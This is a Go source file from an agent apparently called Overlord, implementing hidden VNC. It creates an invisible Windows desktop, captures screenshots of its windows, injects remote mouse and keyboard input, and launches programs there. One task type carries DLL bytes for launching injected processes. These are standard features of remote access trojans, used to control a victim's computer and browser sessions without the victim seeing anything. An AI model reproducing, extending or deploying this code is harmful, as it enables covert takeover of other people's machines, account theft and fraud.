Files
overlord/Overlord-Client/cmd/agent/capture/hvnc_windows.go
T
2026-03-17 23:55:39 -05:00

1634 lines
39 KiB
Go

//go:build windows
package capture
import (
"fmt"
"image"
"log"
"math"
"runtime"
"strings"
"sync"
"sync/atomic"
"syscall"
"time"
"unsafe"
)
var (
procCreateDesktopW = user32.NewProc("CreateDesktopW")
procOpenDesktopW = user32.NewProc("OpenDesktopW")
procCloseDesktop = user32.NewProc("CloseDesktop")
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
procSwitchDesktop = user32.NewProc("SwitchDesktop")
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
procGetWindowRect = user32.NewProc("GetWindowRect")
procIsWindowVisible = user32.NewProc("IsWindowVisible")
procPrintWindow = user32.NewProc("PrintWindow")
procGetWindow = user32.NewProc("GetWindow")
procGetTopWindow = user32.NewProc("GetTopWindow")
procCreateProcessW = kernel32.NewProc("CreateProcessW")
procSendInputHVNC = user32.NewProc("SendInput")
procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
procWindowFromPoint = user32.NewProc("WindowFromPoint")
procScreenToClient = user32.NewProc("ScreenToClient")
procPostMessageW = user32.NewProc("PostMessageW")
procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
procSetWindowPos = user32.NewProc("SetWindowPos")
procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
procSetActiveWindow = user32.NewProc("SetActiveWindow")
procSetFocus = user32.NewProc("SetFocus")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetAncestor = user32.NewProc("GetAncestor")
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
procToUnicode = user32.NewProc("ToUnicode")
procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
)
const (
DESKTOP_READOBJECTS = 0x0001
DESKTOP_CREATEWINDOW = 0x0002
DESKTOP_CREATEMENU = 0x0004
DESKTOP_HOOKCONTROL = 0x0008
DESKTOP_JOURNALRECORD = 0x0010
DESKTOP_JOURNALPLAYBACK = 0x0020
DESKTOP_ENUMERATE = 0x0040
DESKTOP_WRITEOBJECTS = 0x0080
DESKTOP_SWITCHDESKTOP = 0x0100
GENERIC_ALL = 0x10000000
DESKTOP_ALL_ACCESS = DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW |
DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD |
DESKTOP_JOURNALPLAYBACK | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_ALL
GW_HWNDFIRST = 0
GW_HWNDLAST = 1
GW_HWNDNEXT = 2
GW_HWNDPREV = 3
PW_RENDERFULLCONTENT = 0x00000002
STARTF_USEPOSITION = 0x00000004
CREATE_NEW_CONSOLE = 0x00000010
MOUSEEVENTF_MOVE = 0x0001
MOUSEEVENTF_LEFTDOWN = 0x0002
MOUSEEVENTF_LEFTUP = 0x0004
MOUSEEVENTF_RIGHTDOWN = 0x0008
MOUSEEVENTF_RIGHTUP = 0x0010
MOUSEEVENTF_MIDDLEDOWN = 0x0020
MOUSEEVENTF_MIDDLEUP = 0x0040
MOUSEEVENTF_WHEEL = 0x0800
MOUSEEVENTF_ABSOLUTE = 0x8000
INPUT_MOUSE = 0
INPUT_KEYBOARD = 1
KEYEVENTF_KEYUP = 0x0002
VK_SHIFT = 0x10
VK_CONTROL = 0x11
VK_MENU = 0x12
VK_CAPITAL = 0x14
VK_LSHIFT = 0xA0
VK_RSHIFT = 0xA1
VK_LCONTROL = 0xA2
VK_RCONTROL = 0xA3
VK_LMENU = 0xA4
VK_RMENU = 0xA5
WM_MOUSEMOVE = 0x0200
WM_LBUTTONDOWN = 0x0201
WM_LBUTTONUP = 0x0202
WM_RBUTTONDOWN = 0x0204
WM_RBUTTONUP = 0x0205
WM_MBUTTONDOWN = 0x0207
WM_MBUTTONUP = 0x0208
WM_NCHITTEST = 0x0084
WM_NCLBUTTONDOWN = 0x00A1
WM_NCLBUTTONUP = 0x00A2
WM_CLOSE = 0x0010
WM_DESTROY = 0x0002
WM_SYSCOMMAND = 0x0112
WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_CHAR = 0x0102
WM_MOUSEWHEEL = 0x020A
MK_LBUTTON = 0x0001
MK_RBUTTON = 0x0002
MK_MBUTTON = 0x0010
WHEEL_DELTA = 120
HTCAPTION = 2
HTCLIENT = 1
HTCLOSE = 20
HTMINBUTTON = 8
HTMAXBUTTON = 9
HTLEFT = 10
HTRIGHT = 11
HTTOP = 12
HTTOPLEFT = 13
HTTOPRIGHT = 14
HTBOTTOM = 15
HTBOTTOMLEFT = 16
HTBOTTOMRIGHT = 17
SC_MINIMIZE = 0xF020
SC_MAXIMIZE = 0xF030
SC_RESTORE = 0xF120
SW_SHOWMAXIMIZED = 3
GA_ROOT = 2
SMTO_ABORTIFHUNG = 0x0002
)
var (
hvncDesktopHandle uintptr
hvncDesktopMu sync.Mutex
hvncDesktopName = "OverlordHiddenDesktop"
hvncInitialized bool
hvncOriginalDesktop uintptr
hvncCursorEnabled bool
hvncThreadOnce sync.Once
hvncThreadErr error
hvncThreadReady chan struct{}
hvncThreadTasks chan hvncTask
hvncWatchdogOnce sync.Once
hvncNoWindowLogNs atomic.Int64
hvncInputMu sync.Mutex
hvncLastCursor point
hvncHasCursor bool
hvncWorkingWindow uintptr
hvncShiftDown bool
hvncCtrlDown bool
hvncAltDown bool
hvncCapsLock bool
hvncMovingWindow bool
hvncMoveOffset point
hvncWindowSize point
hvncWindowToMove uintptr
hvncMouseButtons uint32
hvncPendingActivate uintptr
hvncExplorerStarted bool
hvncTaskSeq atomic.Uint64
hvncCurrentTaskID atomic.Uint64
hvncCurrentTaskKind atomic.Int64
hvncCurrentTaskNs atomic.Int64
hvncLastScale atomic.Uint64 // float64 bits — scale used by last HVNC capture
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
hvncWinCache map[uintptr]*hvncWinCacheEntry
hvncWinCachePrev []byte
hvncCompHdcMem uintptr
hvncCompHbmp uintptr
hvncCompBits unsafe.Pointer
hvncCompW int
hvncCompH int
hvncPendingMouseMove *hvncTask
hvncPendingMoveMu sync.Mutex
)
type hvncTaskKind int
const (
hvncTaskCapture hvncTaskKind = iota
hvncTaskStartProcess
hvncTaskStartProcessInjected
hvncTaskMouseMove
hvncTaskMouseDown
hvncTaskMouseUp
hvncTaskKeyDown
hvncTaskKeyUp
hvncTaskMouseWheel
hvncTaskAutoStartExplorer
)
type hvncTask struct {
kind hvncTaskKind
id uint64
display int
filePath string
x int32
y int32
button int
vk uint16
delta int32
dllBytes []byte
searchPath string
replacePath string
queuedAt time.Time
resp chan hvncTaskResult
}
type hvncTaskResult struct {
img *image.RGBA
err error
}
type startupInfo struct {
cb uint32
lpReserved *uint16
lpDesktop *uint16
lpTitle *uint16
dwX uint32
dwY uint32
dwXSize uint32
dwYSize uint32
dwXCountChars uint32
dwYCountChars uint32
dwFillAttribute uint32
dwFlags uint32
wShowWindow uint16
cbReserved2 uint16
lpReserved2 *byte
hStdInput uintptr
hStdOutput uintptr
hStdErr uintptr
}
type processInformation struct {
hProcess uintptr
hThread uintptr
dwProcessId uint32
dwThreadId uint32
}
type mouseInput struct {
dx int32
dy int32
mouseData uint32
dwFlags uint32
time uint32
dwExtraInfo uintptr
}
type hvncWinCacheEntry struct {
hdcMem uintptr
hbmp uintptr
bits unsafe.Pointer
w, h int
lastOK bool
age int
}
type keybdInput struct {
wVk uint16
wScan uint16
dwFlags uint32
time uint32
dwExtraInfo uintptr
}
type input struct {
inputType uint32
union [24]byte
}
func getCurrentThreadId() uint32 {
r, _, _ := procGetCurrentThreadId.Call()
return uint32(r)
}
func getThreadDesktop(threadId uint32) uintptr {
r, _, _ := procGetThreadDesktop.Call(uintptr(threadId))
return r
}
func isWindowVisible(hwnd uintptr) bool {
r, _, _ := procIsWindowVisible.Call(hwnd)
return r != 0
}
func printWindow(hwnd, hdc uintptr, flags uint32) bool {
r, _, _ := procPrintWindow.Call(hwnd, hdc, uintptr(flags))
return r != 0
}
func getWindow(hwnd uintptr, cmd uint32) uintptr {
r, _, _ := procGetWindow.Call(hwnd, uintptr(cmd))
return r
}
func getTopWindow(hwnd uintptr) uintptr {
r, _, _ := procGetTopWindow.Call(hwnd)
return r
}
func InitializeHVNCDesktop() error {
hvncDesktopMu.Lock()
defer hvncDesktopMu.Unlock()
if hvncInitialized && hvncDesktopHandle != 0 {
return nil
}
threadId := getCurrentThreadId()
hvncOriginalDesktop = getThreadDesktop(threadId)
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
return fmt.Errorf("failed to convert desktop name: %v", err)
}
r, _, _ := procOpenDesktopW.Call(
uintptr(unsafe.Pointer(desktopNamePtr)),
0,
0,
uintptr(DESKTOP_ALL_ACCESS),
)
if r == 0 {
r, _, err = procCreateDesktopW.Call(
uintptr(unsafe.Pointer(desktopNamePtr)),
0,
0,
0,
uintptr(DESKTOP_ALL_ACCESS),
0,
)
if r == 0 {
return fmt.Errorf("failed to create hidden desktop: %v", err)
}
}
hvncDesktopHandle = r
hvncInitialized = true
return nil
}
func CleanupHVNCDesktop() {
hvncDesktopMu.Lock()
defer hvncDesktopMu.Unlock()
for _, entry := range hvncWinCache {
hvncFreeCacheEntry(entry)
}
hvncWinCache = nil
hvncWinCachePrev = nil
if hvncCompHbmp != 0 {
deleteObject(hvncCompHbmp)
hvncCompHbmp = 0
}
if hvncCompHdcMem != 0 {
deleteDC(hvncCompHdcMem)
hvncCompHdcMem = 0
}
hvncCompBits = nil
hvncCompW = 0
hvncCompH = 0
hvncInputMu.Lock()
hvncShiftDown = false
hvncCtrlDown = false
hvncAltDown = false
hvncCapsLock = false
hvncMouseButtons = 0
hvncHasCursor = false
hvncWorkingWindow = 0
hvncInputMu.Unlock()
hvncLastScale.Store(0)
if hvncDesktopHandle != 0 {
if hvncOriginalDesktop != 0 {
procSetThreadDesktop.Call(hvncOriginalDesktop)
}
procCloseDesktop.Call(hvncDesktopHandle)
hvncDesktopHandle = 0
}
hvncInitialized = false
hvncExplorerStarted = false
if hvncThreadTasks != nil {
close(hvncThreadTasks)
hvncThreadTasks = nil
}
hvncThreadReady = nil
hvncThreadErr = nil
hvncThreadOnce = sync.Once{}
hvncWatchdogOnce = sync.Once{}
}
func SetHVNCCursorCapture(enabled bool) {
hvncCursorEnabled = enabled
}
func hvncDesktopBounds() (image.Rectangle, bool) {
hwnd, _, _ := procGetDesktopWindow.Call()
if hwnd == 0 {
return image.Rectangle{}, false
}
var r rect
ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
if ok == 0 {
return image.Rectangle{}, false
}
if r.right <= r.left || r.bottom <= r.top {
return image.Rectangle{}, false
}
return image.Rect(int(r.left), int(r.top), int(r.right), int(r.bottom)), true
}
func ensureHVNCThread() error {
hvncDesktopMu.Lock()
desktopHandle := hvncDesktopHandle
hvncDesktopMu.Unlock()
if desktopHandle == 0 {
return fmt.Errorf("hvnc desktop not initialized")
}
hvncThreadOnce.Do(func() {
hvncThreadReady = make(chan struct{})
hvncThreadTasks = make(chan hvncTask)
hvncWatchdogOnce.Do(func() {
go hvncThreadWatchdog()
})
go func(handle uintptr) {
defer recoverAndLog("hvnc desktop thread", nil)
runtime.LockOSThread()
defer runtime.UnlockOSThread()
r, _, err := procSetThreadDesktop.Call(handle)
if r == 0 {
hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err)
close(hvncThreadReady)
for task := range hvncThreadTasks {
task.resp <- hvncTaskResult{nil, hvncThreadErr}
}
return
}
close(hvncThreadReady)
for task := range hvncThreadTasks {
start := time.Now()
hvncCurrentTaskID.Store(task.id)
hvncCurrentTaskKind.Store(int64(task.kind))
hvncCurrentTaskNs.Store(start.UnixNano())
if shouldTraceHVNCTask(task.kind) {
log.Printf("hvnc task: start id=%d kind=%s queued=%s details=%s", task.id, hvncTaskKindName(task.kind), start.Sub(task.queuedAt).Round(time.Millisecond), hvncTaskDetails(task))
}
var result hvncTaskResult
switch task.kind {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown:
result.err = hvncMouseButtonOnThread(task.button, true)
case hvncTaskMouseUp:
result.err = hvncMouseButtonOnThread(task.button, false)
case hvncTaskKeyDown:
result.err = hvncKeyOnThread(task.vk, true)
case hvncTaskKeyUp:
result.err = hvncKeyOnThread(task.vk, false)
case hvncTaskMouseWheel:
result.err = hvncMouseWheelOnThread(task.delta)
case hvncTaskAutoStartExplorer:
result.err = hvncAutoStartExplorerOnThread()
default:
result.img, result.err = hvncCaptureDisplayOnThread(task.display)
}
dur := time.Since(start)
if shouldTraceHVNCTask(task.kind) || dur > 400*time.Millisecond {
if result.err != nil {
log.Printf("hvnc task: done id=%d kind=%s dur=%s err=%v", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond), result.err)
} else {
log.Printf("hvnc task: done id=%d kind=%s dur=%s", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond))
}
}
hvncCurrentTaskNs.Store(0)
hvncCurrentTaskKind.Store(-1)
hvncCurrentTaskID.Store(0)
task.resp <- result
}
}(desktopHandle)
})
if hvncThreadReady != nil {
<-hvncThreadReady
}
return hvncThreadErr
}
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
if err := ensureHVNCThread(); err != nil {
return nil, err
}
resp := make(chan hvncTaskResult, 1)
hvncThreadTasks <- hvncTask{kind: hvncTaskCapture, display: display, resp: resp}
result := <-resp
return result.img, result.err
}
func StartHVNCProcess(filePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcess,
filePath: strings.TrimSpace(filePath),
}, 10*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCAutoStartExplorer() error {
if hvncExplorerStarted {
return nil
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskAutoStartExplorer,
}, 15*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCInputMouseMove(display int, x, y int32) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCInputMouseDown(button int) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseDown, button: button}, 3*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCInputMouseUp(button int) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseUp, button: button}, 3*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCInputKeyDown(vk uint16) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyDown, vk: vk}, 3*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCInputKeyUp(vk uint16) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyUp, vk: vk}, 3*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCInputMouseWheel(delta int32) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseWheel, delta: delta}, 3*time.Second)
if err != nil {
return err
}
return result.err
}
func executeHVNCTask(task hvncTask, timeout time.Duration) (hvncTaskResult, error) {
if err := ensureHVNCThread(); err != nil {
return hvncTaskResult{}, err
}
if hvncThreadTasks == nil {
return hvncTaskResult{}, fmt.Errorf("hvnc thread not available")
}
if timeout <= 0 {
timeout = 3 * time.Second
}
task.resp = make(chan hvncTaskResult, 1)
task.id = hvncTaskSeq.Add(1)
task.queuedAt = time.Now()
timer := time.NewTimer(timeout)
defer timer.Stop()
select {
case hvncThreadTasks <- task:
case <-timer.C:
log.Printf("hvnc input: task enqueue timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout)
return hvncTaskResult{}, fmt.Errorf("hvnc task queue timed out")
}
select {
case result := <-task.resp:
return result, nil
case <-timer.C:
log.Printf("hvnc input: task execution timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout)
return hvncTaskResult{}, fmt.Errorf("hvnc task execution timed out")
}
}
func hvncThreadWatchdog() {
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
for range ticker.C {
id := hvncCurrentTaskID.Load()
if id == 0 {
continue
}
startNs := hvncCurrentTaskNs.Load()
if startNs == 0 {
continue
}
running := time.Since(time.Unix(0, startNs))
if running >= 2*time.Second {
kind := hvncTaskKindName(hvncTaskKind(hvncCurrentTaskKind.Load()))
log.Printf("hvnc watchdog: thread appears stuck id=%d kind=%s running=%s", id, kind, running.Round(time.Millisecond))
}
}
}
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
switch kind {
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer:
return true
default:
return false
}
}
func hvncTaskKindName(kind hvncTaskKind) string {
switch kind {
case hvncTaskCapture:
return "capture"
case hvncTaskStartProcess:
return "start_process"
case hvncTaskStartProcessInjected:
return "start_process_injected"
case hvncTaskMouseMove:
return "mouse_move"
case hvncTaskMouseDown:
return "mouse_down"
case hvncTaskMouseUp:
return "mouse_up"
case hvncTaskKeyDown:
return "key_down"
case hvncTaskKeyUp:
return "key_up"
case hvncTaskMouseWheel:
return "mouse_wheel"
case hvncTaskAutoStartExplorer:
return "auto_start_explorer"
default:
return fmt.Sprintf("unknown(%d)", kind)
}
}
func hvncTaskDetails(task hvncTask) string {
switch task.kind {
case hvncTaskMouseDown, hvncTaskMouseUp:
return fmt.Sprintf("button=%d", task.button)
case hvncTaskKeyDown, hvncTaskKeyUp:
return fmt.Sprintf("vk=%d", task.vk)
case hvncTaskMouseWheel:
return fmt.Sprintf("delta=%d", task.delta)
case hvncTaskStartProcess:
return fmt.Sprintf("cmd=%q", task.filePath)
case hvncTaskStartProcessInjected:
return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes))
default:
return ""
}
}
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
setDPIAware()
maxDisplays := displayCount()
if maxDisplays <= 0 {
maxDisplays = 1
}
if display < 0 || display >= maxDisplays {
log.Printf("hvnc capture: requested display %d out of range (0-%d), defaulting to 0", display, maxDisplays-1)
display = 0
}
bounds, boundsSource := hvncResolveCaptureBounds(display)
srcW := bounds.Dx()
srcH := bounds.Dy()
if srcW <= 0 || srcH <= 0 {
log.Printf("hvnc capture: invalid bounds for display=%d source=%s bounds=%v", display, boundsSource, bounds)
return nil, syscall.EINVAL
}
userScale := effectiveScale(srcW, srcH)
hvncLastScale.Store(math.Float64bits(userScale))
dstW := int(float64(srcW) * userScale)
dstH := int(float64(srcH) * userScale)
if dstW <= 0 || dstH <= 0 {
dstW = srcW
dstH = srcH
}
capW := srcW
capH := srcH
hdcScreen := getDC(0)
if hdcScreen == 0 {
return nil, syscall.EINVAL
}
defer releaseDC(0, hdcScreen)
hdcMem := createCompatibleDC(hdcScreen)
if hdcMem == 0 {
return nil, syscall.EINVAL
}
defer deleteDC(hdcMem)
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(capW),
biHeight: -int32(capH),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if hbmp == 0 || bits == nil {
return nil, syscall.EINVAL
}
selectObject(hdcMem, hbmp)
buf := unsafe.Slice((*byte)(bits), capW*capH*4)
for i := range buf {
buf[i] = 0
}
drawn := drawHVNCWindowsToBuffer(hdcScreen, bounds, buf, capW*4)
if drawn == 0 {
now := time.Now().UnixNano()
last := hvncNoWindowLogNs.Load()
if now-last > int64(5*time.Second) && hvncNoWindowLogNs.CompareAndSwap(last, now) {
log.Printf("hvnc capture: no windows drawn for display=%d source=%s bounds=%v", display, boundsSource, bounds)
}
}
swapRB(buf)
img := image.NewRGBA(image.Rect(0, 0, capW, capH))
copy(img.Pix, buf)
deleteObject(hbmp)
if hvncCursorEnabled {
DrawCursorOnImage(img, bounds)
}
if dstW != capW || dstH != capH {
img = resizeNearest(img, dstW, dstH)
}
return img, nil
}
func startHVNCProcessOnThread(filePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
return fmt.Errorf("failed to convert desktop name: %v", err)
}
cmdLine, err := syscall.UTF16FromString(filePath)
if err != nil {
return fmt.Errorf("failed to convert command line: %v", err)
}
var si startupInfo
var pi processInformation
si.cb = uint32(unsafe.Sizeof(si))
si.lpDesktop = desktopNamePtr
si.dwX = 0
si.dwY = 0
si.dwFlags = STARTF_USEPOSITION
ret, _, callErr := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(&cmdLine[0])),
0,
0,
0,
uintptr(CREATE_NEW_CONSOLE),
0,
0,
uintptr(unsafe.Pointer(&si)),
uintptr(unsafe.Pointer(&pi)),
)
if ret == 0 {
if callErr != nil {
return fmt.Errorf("CreateProcess failed: %v", callErr)
}
return fmt.Errorf("CreateProcess failed")
}
return nil
}
func hvncAutoStartExplorerOnThread() error {
if hvncExplorerStarted {
return nil
}
if isExplorerRunningToolhelp() {
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
hvncExplorerStarted = true
return nil
}
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
err := startHVNCProcessOnThread("explorer.exe")
if err != nil {
return fmt.Errorf("auto-start explorer failed: %w", err)
}
hvncExplorerStarted = true
return nil
}
func isExplorerPID(pid uint32) bool {
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
hProc, _, _ := kernel32.NewProc("OpenProcess").Call(
PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid),
)
if hProc == 0 {
return false
}
defer procCloseHandle.Call(hProc)
var buf [260]uint16
size := uint32(len(buf))
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
)
if ret == 0 {
return false
}
name := strings.ToLower(syscall.UTF16ToString(buf[:size]))
return strings.HasSuffix(name, `\explorer.exe`)
}
func isExplorerRunningToolhelp() bool {
const TH32CS_SNAPPROCESS = 0x00000002
snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0)
if snap == 0 || snap == ^uintptr(0) {
return false
}
defer procCloseHandle.Call(snap)
type processEntry32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [260]uint16
}
var pe processEntry32
pe.dwSize = uint32(unsafe.Sizeof(pe))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe)))
for ret != 0 {
name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:]))
if name == "explorer.exe" {
return true
}
pe.dwSize = uint32(unsafe.Sizeof(pe))
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe)))
}
return false
}
func hvncMouseMoveOnThread(display int, x, y int32) error {
bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
hvncInputMu.Lock()
hvncLastCursor = point{x: x, y: y}
hvncHasCursor = true
hvncInputMu.Unlock()
return nil
}
if bits := hvncLastScale.Load(); bits != 0 {
if s := math.Float64frombits(bits); s > 0 && s < 1 {
x = int32(float64(x) / s)
y = int32(float64(y) / s)
}
}
absX := bounds.Min.X + int(x)
absY := bounds.Min.Y + int(y)
if absX < bounds.Min.X {
absX = bounds.Min.X
}
if absY < bounds.Min.Y {
absY = bounds.Min.Y
}
if absX >= bounds.Max.X {
absX = bounds.Max.X - 1
}
if absY >= bounds.Max.Y {
absY = bounds.Max.Y - 1
}
hvncInputMu.Lock()
hvncLastCursor = point{x: int32(absX), y: int32(absY)}
hvncHasCursor = true
hvncInputMu.Unlock()
moveHVNCWindowIfDragging(point{x: int32(absX), y: int32(absY)})
pt := point{x: int32(absX), y: int32(absY)}
hitHwnd := windowFromPoint(pt)
if hitHwnd != 0 {
root := rootWindow(hitHwnd)
prevWorking := getWorkingWindow()
rememberWorkingWindow(hitHwnd)
if prevWorking == 0 || rootWindow(prevWorking) != root {
procSetForegroundWindow.Call(root)
procSetActiveWindow.Call(root)
procSetFocus.Call(hitHwnd)
}
clientPt := pt
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
}
return nil
}
func hvncMouseButtonOnThread(button int, down bool) error {
pt := currentHVNCCursor()
if button == 0 && !down {
endHVNCWindowDrag(pt)
}
setMouseButton(button, down)
hitHwnd := windowFromPoint(pt)
if hitHwnd == 0 {
return nil
}
root := rootWindow(hitHwnd)
prevWorking := getWorkingWindow()
rememberWorkingWindow(hitHwnd)
if down && (prevWorking == 0 || rootWindow(prevWorking) != root) {
procSetForegroundWindow.Call(root)
procSetActiveWindow.Call(root)
procSetFocus.Call(hitHwnd)
}
if button == 0 {
lparam := makeLParam(pt.x, pt.y)
hitTest := safeNCHitTest(hitHwnd, lparam)
if hitTest != HTCLIENT && hitTest != 0 {
if hitTest == HTCLOSE && !down {
procPostMessageW.Call(hitHwnd, WM_CLOSE, 0, 0)
procPostMessageW.Call(hitHwnd, WM_DESTROY, 0, 0)
return nil
}
if hitTest == HTCAPTION {
if down {
var r rect
if ok, _, _ := procGetWindowRect.Call(hitHwnd, uintptr(unsafe.Pointer(&r))); ok != 0 {
hvncInputMu.Lock()
hvncMovingWindow = true
hvncWindowToMove = hitHwnd
hvncMoveOffset = point{x: pt.x - r.left, y: pt.y - r.top}
hvncWindowSize = point{x: r.right - r.left, y: r.bottom - r.top}
hvncInputMu.Unlock()
}
}
return nil
}
if hitTest == HTMAXBUTTON && !down {
if isWindowMaximized(hitHwnd) {
procPostMessageW.Call(hitHwnd, WM_SYSCOMMAND, SC_RESTORE, 0)
} else {
procPostMessageW.Call(hitHwnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0)
}
return nil
}
if hitTest == HTMINBUTTON && !down {
procPostMessageW.Call(hitHwnd, WM_SYSCOMMAND, SC_MINIMIZE, 0)
return nil
}
}
}
clientPt := pt
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
var msg uint32
var wparam uintptr
switch button {
case 0:
if down {
msg = WM_LBUTTONDOWN
wparam = MK_LBUTTON
} else {
msg = WM_LBUTTONUP
wparam = 0
}
case 1:
if down {
msg = WM_MBUTTONDOWN
wparam = MK_MBUTTON
} else {
msg = WM_MBUTTONUP
wparam = 0
}
case 2:
if down {
msg = WM_RBUTTONDOWN
wparam = MK_RBUTTON
} else {
msg = WM_RBUTTONUP
wparam = 0
}
default:
return nil
}
postMouseMessage(hitHwnd, msg, wparam, clientPt)
return nil
}
func hvncKeyOnThread(vk uint16, down bool) error {
pt := currentHVNCCursor()
hwnd := windowFromPoint(pt)
if hwnd == 0 {
hwnd = foregroundWindow()
}
if hwnd == 0 {
hwnd = getWorkingWindow()
}
if hwnd == 0 {
hwnd = findAnyVisibleTopLevelWindow()
}
if hwnd == 0 {
return nil
}
root := rootWindow(hwnd)
prevWorking := getWorkingWindow()
rememberWorkingWindow(root)
if prevWorking == 0 || rootWindow(prevWorking) != root {
procSetForegroundWindow.Call(root)
procSetActiveWindow.Call(root)
procSetFocus.Call(hwnd)
}
updateModifierState(vk, down)
if isModifierVK(vk) {
return nil
}
if down {
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
for _, r := range ch {
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1))
}
} else {
postKeyMessage(hwnd, WM_KEYDOWN, vk)
}
} else {
postKeyMessage(hwnd, WM_KEYUP, vk)
}
return nil
}
func foregroundWindow() uintptr {
r, _, _ := procGetForegroundWindow.Call()
return r
}
func findAnyVisibleTopLevelWindow() uintptr {
hwnd := getTopWindow(0)
for hwnd != 0 {
if isWindowVisible(hwnd) {
return hwnd
}
hwnd = getWindow(hwnd, GW_HWNDNEXT)
}
return 0
}
func makeLParam(x, y int32) uintptr {
return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF))
}
func windowFromPoint(pt point) uintptr {
ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt))))
return ret
}
func rootWindow(hwnd uintptr) uintptr {
if hwnd == 0 {
return 0
}
r, _, _ := procGetAncestor.Call(hwnd, GA_ROOT)
if r == 0 {
return hwnd
}
return r
}
func setWorkingWindow(hwnd uintptr) {
if hwnd == 0 {
return
}
rememberWorkingWindow(hwnd)
procSetForegroundWindow.Call(hwnd)
procSetActiveWindow.Call(hwnd)
procSetFocus.Call(hwnd)
}
